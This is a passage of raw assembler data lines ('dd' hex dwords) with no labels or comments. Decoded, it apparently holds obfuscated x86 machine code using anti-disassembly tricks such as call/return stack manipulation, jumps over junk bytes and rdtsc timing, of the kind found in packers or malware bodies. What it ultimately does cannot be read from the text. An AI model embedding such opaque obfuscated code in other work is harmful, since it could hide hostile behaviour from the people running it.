8ECECD57h, 0C0AD5DF1h dd 6890Fh, 0B5010000h, 5E711E9h, 42B58B5Fh, 6A05EAA6h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1A042444h dd 40000000h, 0AD56C350h, 79B583CBh, 5E964h, 0A5270000h dd 0E85AF29Fh, 5, 0D980D4ACh, 858B5FE6h, 5E73289h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 0D0C35747h, 6344252Ch dd 830FCAF0h, 6, 39A6EB81h, 6897F15h, 7FD9D8Bh, 858B05E7h dd 5E70699h, 819FD781h, 46896EABh, 65E38004h, 0F525050h dd 178Bh, 11E800h, 75330000h, 0C8478940h, 0A0B2C4Eh, 34455887h dd 5BFDE565h, 8B60310Fh, 615A53D1h, 3489585Ah, 0C7DBBF24h dd 9D8B1A43h, 5E72011h, 0A63EB5FFh, 6A05EAh, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 180424h, 56460000h, 8EE32CC3h dd 0E960FDECh, 0Ch, 53A0A997h, 98357A6Ah, 5FECD01Ah, 1B1DBD8Bh dd 686105E7h, 0D8C0AF45h, 318468BFh, 2404815Bh, 275E54BAh dd 29E5BD0Bh, 858D05E7h, 5EAA646h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 19h, 0F6C35545h, 0B73A9D84h, 50D98B96h dd 4891CB3h, 518D8924h, 0FF05E716h, 0E71B7195h, 53006A05h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h dd 9F820977h, 5761D88Ah, 5E8h, 3FE4CB00h, 9D8911DEh, 5E71CCDh dd 85C75F5Bh, 5E72739h, 3, 0A646BD83h, 0F0005EAh, 4584h dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h dd 0C3514100h, 3FE962h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1C0424h, 53430000h, 0CE7C54C3h, 0EA88A4EFh dd 3050C210h, 4400110Ch, 0E8C10111h, 11443010h, 114C0002h dd 0E9835803h, 0EBE77504h, 4305036h, 11640011h, 10E8C101h dd 2114430h, 3116400h, 4E98358h, 1BEBE775h, 10E8C150h dd 3116428h, 2114430h, 11642858h, 11043001h, 7504E983h dd 8B00EBE7h, 1812BFC0h, 11E84B3Ch, 0EB000000h, 26A59C2Dh dd 8F31CA77h, 0F29C2484h, 0E34FF5A9h, 1599D8Bh, 6A5F05E7h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 15042444h dd 45000000h, 0D409C355h, 2739BD83h, 0F0305E7h, 42B85h dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h dd 0C3564600h, 0DCC150CEh, 8B66F8C0h, 46BD83FBh, 5EAA6h dd 3FA840Fh, 860F0000h, 6, 9263C781h, 0B5FF175Ah, 5EAA646h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 0DAC35040h dd 1F035467h, 1995FF33h, 6A05E702h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 7A65C357h dd 0FE8B3086h, 0A63AB58Bh, 6A05EAh, 3E850h, 58200000h dd 448958C3h, 44810424h, 1A0424h, 50400000h, 87DB17C3h dd 18016EC3h, 0F23AB2BFh, 106C71Fh, 6A000100h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h dd 0D04BC352h, 0C0A895F7h, 1FD5BD8Bh, 505005E7h, 0AEAEBB66h dd 2434895Bh, 810Fh, 7BF0000h, 0FF011281h, 0EAA646B5h dd 50006A05h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h dd 0C3504000h, 4C47CD46h, 0DBBF0F46h, 3195FFh, 858905E7h dd 5E71875h, 0A63AB58Bh, 6A05EAh, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 190424h, 57470000h, 9ACCF1C3h, 8B26714Bh dd 0E7187D85h, 57006A05h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1704h, 0C3574700h, 7BA58BA6h, 0C48689h, 6A0000h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h dd 130FCDC3h, 958B1EB2h, 5E71AA9h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ch, 87C35040h, 8C29AA18h, 0DE767B8Bh dd 66DEDB80h, 0C283F98Bh, 53006A04h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1704h, 0C3534300h, 0AC7E0AF0h dd 8E9h, 71739100h, 0C9A193DEh, 2050894Eh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0C8C35242h, 62D78030h dd 0BAC3858Dh, 6A05EAh, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 180424h, 56460000h, 39CE7EC3h, 8B561BB6h, 0E719059Dh dd 8D0F5B05h, 3, 89F98B66h, 0B886h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1604h, 0C3554500h, 51B8765Dh dd 220D9529h, 6A5F05E7h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1A04h, 0C3504000h, 0AAC45CEFh, 8947FF1Dh dd 0E72555B5h, 46B5FF05h, 0F05EAA6h, 689h, 399D8900h, 0FF05E71Dh dd 0E71ABD95h, 0EF816605h, 6650B50Fh, 3489D88Bh, 6870F24h dd 8B000000h, 0E715419Dh, 46B5FF05h, 6A05EAA6h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h dd 0D56BC357h, 1E472F6Dh, 51C781BCh, 0FF6E2CFDh, 0E7077995h dd 55006A05h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h dd 0C3554500h, 8880236h, 83F88B66h, 0E72D0DBDh, 840F0005h dd 1Dh, 8B665196h, 0E9505FD8h, 0Bh, 2E1F48A7h, 0E941868Dh dd 9612D2D3h, 48EF8166h, 46B5FF21h, 0F505EAA6h, 243595FFh dd 816605E7h, 0FF8901CFh, 0EAA646B5h, 56006A05h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1604h, 0C3564600h dd 0BCF9952h, 0E715699Dh, 6D95FF05h, 105E707h, 0E7004D95h dd 85BD8305h, 205E72Dh, 45840Fh, 0DF800000h, 85858B46h dd 6A05E711h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 16042444h, 41000000h, 6731C351h, 0FABF0FB5h, 0E90000C6h dd 13h, 43737B76h, 0DCC7BFC5h, 5999A46Eh, 0BEE58CA3h, 0C7698F4Ch dd 0E7231985h, 5, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1C04h, 0C3554500h, 6ECCA542h, 101E5394h dd 0E9EB8016h, 0FFF2C3E9h, 17880FFFh, 0E9000000h, 12h dd 1DD64FA2h, 1DFA3D73h, 0DBBF29CFh, 585FBA6Fh, 0C18B1B2Dh dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 16h, 0CC35242h, 0D781FF14h, 78C06B5Eh, 1395858Dh, 6A05E7h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h dd 0D6C508C3h, 0E78152CBh, 6BB54097h, 6E890h, 1CA80000h dd 64ED1127h, 870Fh, 505F0000h, 18890Fh, 13E90000h, 13000000h dd 0FA53B0B3h, 5F556453h, 0ADE5154Dh, 0A44EB018h, 819086F9h dd 9D53EDCBh, 0E19D2311h, 6A05E720h, 41B06000h, 18D9529h dd 6A6105E7h, 0DD853100h, 8D05E725h, 0EBB7C185h, 0DD9D2905h dd 8305E700h, 6A05C0h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1B0424h, 50400000h, 181080C3h, 0CD7813BDh, 79BB5039h dd 893F4DEBh, 6A2404h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 160424h, 51410000h, 25B92CC3h, 6A006Ah, 3E850h, 58200000h dd 448958C3h, 44810424h, 1C0424h, 50400000h, 57DF41C3h dd 0D2E82F48h, 820F7C69h, 6, 0E599C781h, 6A58A8h, 0FFF1EB80h dd 0E71A4D95h, 53006A05h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1D04h, 0C3534300h, 3BB3CCD8h, 53139E76h dd 8D8DE26Fh, 5EAA4AAh, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 19h, 31C35646h, 75A799FAh, 0DEB70F2Ch, 2065B589h dd 0D1FF05E7h, 0E5EB8166h, 8DBD834Ch, 105E72Bh, 84850Fh dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h dd 53430000h, 346E2CC3h, 6A76BCF4h, 852B6002h, 5E7255Dh dd 9870ECBBh, 8950614Dh, 6A2404h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 180424h, 51410000h, 0EB5122C3h, 0C381ADE0h dd 1C36BD2Bh, 1ABD95FFh, 6A05E7h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1B0424h, 51410000h, 93845CC3h, 87D124E7h dd 82E9F929h, 0E800000Eh, 0 dd 0CBED815Dh, 0F05EBB7h, 383h, 0FFBF0F00h, 5810Fh, 5BF0000h dd 8D15DBDFh, 0EA90FD85h, 53006A05h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1804h, 0C3534300h, 0F109F4EFh dd 0FB8B50C6h, 66240489h, 64938DBBh, 35FFh, 6A0000h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h dd 706450C3h, 0D3EF5393h, 0A59D2BD8h, 6405E720h, 2589h dd 8B660000h, 0FD85FFDAh, 6A05E714h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 1EAAC351h dd 6F6E89A9h, 0FE84197h, 0B3000000h, 17227A79h, 0F845C40Dh dd 71DA5571h, 360DB07h, 0E704B9B5h, 0CB8B6605h, 0F605F61h dd 285h, 0E85E5200h, 0Fh, 881DDDF6h, 56A7246Dh, 530C9B36h dd 8BEE39D6h, 0E72B7595h, 6A615905h, 51006AFFh, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1D04h, 0C3514100h, 41274C56h dd 20D9D2B8h, 0B5FF3011h, 5E72449h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 16h, 82C35545h, 8D8968B0h, 5E701A5h dd 45195FFh, 29E905E7h, 0F000001h, 386h, 0DA8B6600h, 2ED38166h dd 0E900B067h, 5, 113A7FF1h, 8170E60Ah, 0EFDE58EBh, 0F71E425h dd 684h, 0D858900h, 3C05E724h, 0F1830F61h, 0F000000h, 0B60FDEB7h dd 0E38166C8h, 6BA7FD6h, 0E9000000h, 0Dh, 5402CA3Eh, 707CD6BCh dd 362C6BFBh, 0FC18BE1h, 287h, 0C1FD8A00h, 0FE904E8h, 0AD000000h dd 90879237h, 3AFF9A68h, 37D13491h, 0F766E7A6h, 0D88B66E2h dd 8B66C82Bh, 0E9D18BDFh, 7, 234E89C9h, 0E975FA65h, 90h dd 0BD7BC9BFh, 14E922h, 2F880000h, 53EB7AA8h, 0A2B48B87h dd 0F6B64A10h, 766BD5F1h, 858BD24Eh, 8, 83FBC380h, 896007C0h dd 0E731AD95h, 999D8B05h, 6105E72Ch, 6000C083h, 31C1F680h dd 0E72F09B5h, 0D03B6105h, 17830Fh, 8B660000h, 3AE9DFh dd 0AE90000h, 0CD000000h, 781AB004h, 0A2E360EAh, 0FF8D8B75h dd 83FFFFFFh, 840F01E1h, 1Ch, 0A58358B7h, 0FFFFFFFFh, 8941B7FEh dd 895h, 5DBD8900h, 0E905E72Eh, 0 dd 34C7B58Dh, 16BB05EBh, 6A3C90A4h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1804h, 0C3534300h, 0A954989h dd 0C195FF61h, 6A05E721h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 17042444h, 45000000h, 0E8D3C355h, 45B96156h dd 6A000010h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 16042444h, 42000000h, 0F3DC352h, 0FFBF0F03h, 6AFCE183h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 15042444h dd 43000000h, 0E804C353h, 82DB8060h, 6AFC61h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 180424h, 56460000h, 0B73A9DC3h dd 0C02B6D96h, 2BFEBF0Fh, 65BD0BD2h, 0AD05E727h, 0E8D1C233h dd 0E983D003h, 6AF47504h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1D042444h, 42000000h, 9153C352h, 8327EEB3h dd 8CDB4E71h, 6B0FBB66h, 0BFFE8B66h, 24953A5h, 880Dh, 0A9958B00h dd 0BF05E71Ah, 45517824h, 6800F60h, 0F000000h, 8Ah, 0DE800h dd 869C0000h, 0BB1EAC72h, 84172320h, 0E9D5E16Ch, 11h, 0D318D640h dd 0FD8D2F53h, 6701972Fh, 7866BC5h, 8B615916h, 0E72A4D8Dh dd 0F3816605h, 8B501A53h, 3188BC2h, 8B188BC1h, 3E8D1C1h dd 58188BC2h, 6ADFB70Fh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1B042444h, 46000000h, 0B54FC356h, 2BF7B62Dh dd 8B66F023h, 65BD83FEh, 5E718h, 63840Fh, 6A0000h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h dd 7EAA07C3h, 8589CF4Ch, 5E70C4Dh, 0B8h, 918D8900h, 8D05E70Eh dd 0E74D248Dh, 66FE8B05h, 0E04BE381h, 6AE1FFh, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h dd 0C27EC8C3h, 5D7AC2B5h, 39BD8328h, 5E727h, 526840Fh dd 0BD0B0000h, 5E729B5h, 2739BD83h, 0F0105E7h, 52E84h dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h dd 0C3554500h, 0A9AA98E5h, 39BD83DDh, 305E727h, 4CB860Fh dd 9D8B0000h, 5E70689h, 56006A60h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1904h, 0C3564600h, 4E60DFF4h, 85097394h dd 5E719D9h, 66D98C66h, 0E180D98Bh, 56006A04h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1C04h, 0C3564600h, 7BA7EFC7h dd 50D51412h, 0FEBF0F2Eh, 840FC90Ah, 1B6h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 1EC35141h, 0DCF62BFCh dd 0CE8538Fh, 22000000h, 3702FFF2h, 268AFB21h, 0BB60A5AEh dd 4F5041ABh, 5B535B5Bh, 699858Bh, 6A05E7h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 190424h, 56460000h, 57912FC3h dd 3332649Ah, 0E7130985h, 50006A05h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1704h, 0C3504000h, 0B6405C8Bh dd 0BE9h, 0CF711200h, 29112B5Dh, 3A6A9359h, 5012B790h dd 1478D6BBh, 6A900Ch, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 140424h, 51410000h, 850F4CC3h, 12h, 0DE9h, 0C91E4A00h dd 7215483Dh, 0EF43FD19h, 0FB8B8803h, 6A006Ah, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h dd 8B66C3C3h, 4D9D89DEh, 6805E72Eh, 6F1BFBC3h, 0CE8h, 0BB953000h dd 703EAE31h, 7F438DEDh, 34815F5Ch, 4F83C24h, 55006A6Fh dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h dd 2D6759A5h, 608AE520h, 1B7195FFh, 6A05E7h, 3E850h, 58200000h dd 448958C3h, 44810424h, 180424h, 50400000h, 48C309C3h dd 880F20ABh, 8, 75852953h, 5B05E707h, 0A6468589h, 0F6005EAh dd 68Ch, 11958900h, 0E905E70Bh, 5, 0B28392BBh, 40E961AEh dd 6A000002h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 17042444h, 46000000h, 0E6B3C356h, 858BFBF2h, 5EAA63Eh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 0C35040h dd 0A9712E4h, 0BD0B7D6Bh, 5E713E1h, 2A21BD89h, 0C705E7h dd 18h, 1D75BD8Bh, 0B58B05E7h, 5EAA642h, 0E850006Ah, 3 dd 58C35820h, 4244489h, 4244481h, 18h, 42C35040h, 0AE536401h dd 89858BF5h, 6A05E732h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1B042444h, 45000000h, 0F433C355h, 0ABA2F1ADh dd 95313832h, 5E70329h, 81660689h, 8BFBF4D7h, 0E7069985h dd 53006A05h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h dd 0C3534300h, 0A3E26888h, 0D744890Fh, 44689E5h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 5AC35141h, 230E2E4Eh dd 0D5BD8BA5h, 9605E727h, 0BB5055B3h, 498F773Fh, 51006A96h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h, 0C3514100h dd 0A0EA385Bh, 85898E0Ah, 5E72BC1h, 0A63EB5FFh, 0BD0105EAh dd 5E70119h, 4E8h, 1F03FF00h, 0D1CFBB00h, 60505231h, 42FEEABBh dd 8B665058h, 8B615BF2h, 0F042444h, 58Fh, 0FE2ABF00h, 8B54CCh dd 12E9h, 2B0FD500h, 66A4BD1Bh, 0C499597Fh, 93AEEC11h dd 899FFE71h, 60042444h, 8CCBA66h, 61605250h, 5250310Fh dd 585A310Fh, 5861585Ah, 5840Fh, 93BF0000h, 8D191A71h dd 0EAA64685h, 55006A05h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1904h, 0C3554500h, 377BAA32h, 8B6611A0h dd 0F5090F8h, 483h, 61605000h, 6A905Bh, 3E850h, 58200000h dd 448958C3h, 44810424h, 1C0424h, 50400000h, 4E7A5DC3h dd 4293718Eh, 9D8902EAh, 5E72749h, 1B7195FFh, 6A05E7h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h dd 2F574CC3h, 389E0DA1h, 61DABF0Fh, 5BCCB351h, 0CE960h dd 10280000h, 49278430h, 0CDABE4Bh, 850B8640h, 5E711A9h dd 3985C761h, 305E727h, 6A000000h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 1CE5C357h dd 8B8681B2h, 0E712019Dh, 0FD8D2905h, 8305E72Bh, 0EAA646BDh dd 840F0005h, 2Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Ah, 0DCC35343h, 8F18521Fh, 21E95FE5h, 1000000h dd 0E70AF58Dh, 0C305005h, 11440011h, 10E8C101h, 2114430h dd 3114C00h, 4E98358h, 36EBE775h, 11043050h, 1116400h dd 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h dd 0E77504E9h, 0C08B00EBh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 16h, 31C35343h, 8E9B9A5h, 41000000h, 0CF7AC42Ch dd 6AF918CCh, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1D042444h, 46000000h, 0B183C356h, 90FEC8D7h, 0FA071AF9h dd 202D9D8Bh, 0BD8305E7h, 5E72739h, 1F850F03h, 6A000004h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1D042444h dd 41000000h, 59B1C351h, 0B58B168Bh, 0F0C7F311h, 35958960h dd 8B05E719h dd 0E722F1B5h, 0BD836105h, 5EAA646h, 0DF840F00h, 66000003h dd 2EAADF81h, 0A646B5FFh, 9D2B05EAh, 5E70355h, 21995FFh dd 11E905E7h, 67000000h, 91507EE6h, 6B980CF2h, 439FBC6Bh dd 0EBB9FA51h, 0A63AB58Bh, 6A05EAh, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 170424h, 51410000h, 844C0DC3h dd 81665603h, 5F6F2DD7h, 106C7h, 0BD230001h, 5E72885h dd 5096DE8Bh, 10E8h, 312E3B00h, 39639BABh, 3DF8DB1h, 381FC238h dd 0FE8605Eh, 0A2000000h, 0E3AACAD6h, 4421366Ch, 0A7BFE5AFh dd 0E85FC70Bh, 7, 0E9C2EA82h, 5F1E2E1Eh, 6A965F61h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h dd 0F3B5C352h, 0F511DF2Bh, 179BBB66h, 0A646B5FFh, 6A05EAh dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h dd 0BC0409C3h, 3BE48766h, 8137CB91h, 5AA7B4F3h, 3195FF7Ch dd 0E805E700h, 11h, 0E3E08104h, 0E624A622h, 4B97E92Dh dd 5DF7FBCh, 0A9853119h, 5B05E70Ah, 0A63AB58Bh, 8D8905EAh dd 5E71551h, 858BDA8Ah, 5E7187Dh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Bh, 91C35646h, 55937217h, 8BF904B4h dd 0E729C19Dh, 0C4868905h, 6A000000h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 0B381C353h dd 9D8BBDDEh, 5E72F11h, 1AA9958Bh, 6A05E7h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 140424h, 52420000h, 0BD0165C3h dd 5E72C41h, 5830Fh, 0D3BF0000h, 8301EB61h, 6A04C2h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h dd 9132BC3h, 0E721C585h, 859D0B05h, 8905E70Ch, 0BF0F2050h dd 9D9531DFh, 8D05E70Ah, 0EABAC385h, 51006A05h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1C04h, 0C3514100h, 898A24CAh dd 0D2440E89h, 128C0F4Dh, 0E9000000h, 0Dh, 0BD4DF798h dd 53BDD876h, 27EEB391h, 0B8868983h, 0E8000000h, 0Fh, 0C53246D5h dd 2708D48h, 48F4D072h, 0B7FBDCA2h, 6A5FC8h, 46B5FFF5h dd 0F05EAA6h, 95FFDEB7h, 5E71ABDh, 0F50DE8Bh, 58Fh, 33E7BB00h dd 348921B1h, 859D2B24h, 0E905E71Ah, 6, 0AACB8E08h, 0B5FFB99Ah dd 5EAA646h, 10E8h, 65E62C00h, 6AD23B0Fh, 0B20417A3h, 73EFF3B9h dd 0FF5BF577h, 0E7077995h, 98F78105h, 832C82DDh, 0E72D0DBDh dd 840F0005h, 38h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 17h, 0FDC35040h, 330D4FBFh, 0E700219Dh, 820F5005h dd 9, 8B665250h, 5A310FD8h, 24348958h, 0A646B5FFh, 6A05EAh dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h dd 997960C3h, 243595FFh, 6A05E7h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1B0424h, 53430000h, 9D6293C3h, 58BD2778h dd 68F0F7Bh, 89000000h, 0E72BF1BDh, 0C3816605h, 0B5FF990Bh dd 5EAA646h, 8E1BD89h, 95FF05E7h, 5E7076Dh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 0DDC35141h, 0BD83A587h dd 5E72D85h, 21840F02h, 0F8000000h, 1185858Bh, 5E805E7h dd 0D0000000h, 6729C7C2h, 68B1D381h, 0C65B7882h, 85310000h dd 5E72539h, 231985C7h, 5E7h, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 190424h, 56460000h, 33791AC3h dd 8B9965E0h, 0C991BBFEh, 84E96AC9h, 0FFFFFF2h, 58Ah, 0EB816600h dd 0C18BD6F6h, 95858DF8h, 8B05E713h, 0E71AD99Dh, 0F98A9005h dd 9092B750h, 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 170424h, 51410000h, 5E34A8C3h, 7CEB81AAh, 8B2F34E5h dd 0E72481BDh, 6A006A05h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1D042444h, 46000000h, 87F9C356h, 796929C1h dd 136D7120h, 858DF88Ah, 5EBC850h, 4698589h, 810F05E7h dd 0Ch, 7E9h, 61ADA400h, 0EC1351BAh, 6A05C083h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h dd 89A3C353h, 0E7165595h, 12E905h, 0ED340000h, 0AE4AB809h dd 407212C1h, 67C11D6Ch, 0A476D105h, 0BB665150h, 895B1E82h dd 0C7812404h, 5FE21254h, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 160424h, 55450000h, 29703AC3h, 6890Fh, 9D8B0000h dd 5E7207Dh, 6A006Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 150424h, 56460000h, 0FDFBBC3h, 28Eh, 0FFFA8B00h, 0E71A4D95h dd 188F0F05h, 53000000h, 11E9h, 0F8424900h, 2FAC39B4h dd 0B2FFE26Ch, 208FAD52h, 8D5FFCB7h, 0EAA4AA8Dh, 56006A05h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h dd 8050899Dh, 0F5B07D7h, 0D1FFFFBFh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Bh, 83C35747h, 0C86A898Dh, 0E800AE9Bh dd 11h, 0C80BDA87h, 10D709D2h, 0B4686A29h, 0B05777A9h dd 4CC380D7h, 8DBD835Fh, 105E72Bh, 47850Fh, 8E90000h, 0B0000000h dd 2E049393h, 6A1C6E24h, 50006A02h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1904h, 0C3504000h, 29C187F9h, 66907969h dd 5650DF8Bh, 5BDE8B66h, 0DBBF0F90h, 1ABD95FFh, 0BF0F05E7h dd 0D88E9DAh, 0E80000h, 5D000000h, 0C85AED81h, 34BF05EBh dd 8D3290F4h, 0EA90FD85h, 52006A05h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1404h, 0C3524200h, 0A9B5314Ch dd 5005E711h, 66240489h, 648408BFh, 35FFh, 0EB800000h dd 258964A9h, 0 dd 0D38B6660h, 0FD85FF61h, 6A05E714h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 384BC352h dd 6E26CAFAh, 0FF6A518Eh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 16h, 0C9C35141h, 0BD899A19h, 5E70369h, 595B5FFh dd 6A05E7h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h dd 52420000h, 320148C3h, 0FFFE1146h, 0E7045195h, 0D9E905h dd 9D230000h, 5E72AE1h, 9D8B00B0h, 5E70B95h, 0BDBD2960h dd 0F05E72Eh, 68Ah, 4DB50100h, 6105E722h, 71E470E6h, 21C98589h dd 613C05E7h, 0A5830Fh, 9D890000h, 5E70AE1h, 80C8B60Fh dd 6BAAEF7h, 8B000000h, 0E71365BDh, 8BC18B05h, 0E705919Dh dd 4E8C105h, 19C5BD29h, 0F76605E7h, 0D78166E2h, 0C82B5215h dd 0B418509h, 0D18B05E7h, 66E9h, 0FAB70F00h, 1858Bh, 66600000h dd 0D181D88Bh, 1364D23Ah, 7C08361h, 3B00C083h, 10830FD0h dd 8B000000h, 5FEB80FAh, 3AE9h, 6DBD8B00h, 8B05E724h, 0FFFFFF8Dh dd 5DBD23FFh, 8305E705h, 840F01E1h, 1Fh, 0E369BB66h, 0FFFFA583h dd 0FFEFFFFh, 9589DABFh, 1, 28AD9D29h, 0E905E7h, 8D000000h dd 0EB450CB5h, 0B5853105h, 6A05E722h, 52006A00h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h dd 1148D9AAh, 8D9D2BA8h, 0E905E704h, 0Bh, 6BCDA2CBh, 0C29A6D4Eh dd 0FF9763B9h, 0E721C195h, 31858905h, 8B05E70Bh, 0E70B559Dh dd 103DB905h, 0BD890000h, 5E72315h, 6AFCE183h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h dd 31BFC351h, 279F806Ah, 8BF6C07Ah, 80FCDE8Bh, 0B86AD7h dd 81000000h, 6FFA62E3h, 0BA1Dh, 15BF0000h, 0AD63E247h dd 0E8D1C233h, 0E983D003h, 0E8F47504h, 14h, 0CAABDA27h dd 0E5CB4FEDh, 3B0884C3h, 835E7F35h, 6ADED69Eh, 0DD950360h dd 6605E72Ch, 5B61C68Bh, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 14h, 3AC35646h, 2005B509h, 880D05E7h, 8B000000h dd 0A9958BDAh, 5105E71Ah, 4D8D8B5Bh, 8105E72Ah, 6F9C69C3h dd 0C28B502Ah, 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 6A58188Bh dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 15042444h dd 45000000h, 3983C355h, 1885E381h, 0BD8B160Eh, 5E72F71h dd 1865BD83h, 0F0005E7h, 6E84h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1D04h, 0C3534300h, 54E1DD72h dd 0FB40F795h, 0B8F9539Bh, 0 dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 9AC35040h dd 0DCC96F80h, 0A0343A48h, 219531F4h, 8D05E721h, 0E74D248Dh dd 63BF6605h, 45BD8989h, 0FF05E717h, 0A5BD8BE1h, 8305E701h dd 0E72739BDh, 840F0005h, 491h, 6890Fh, 85890000h, 5E7256Dh dd 2739BD83h, 0F0105E7h, 49384h, 0FD9D8B00h, 8305E72Bh dd 0E72739BDh, 860F0305h, 44Ah, 60FB8B66h, 0AD7E281h, 0BD893D53h dd 5E70025h, 6A6061h, 3E857h, 5F200000h, 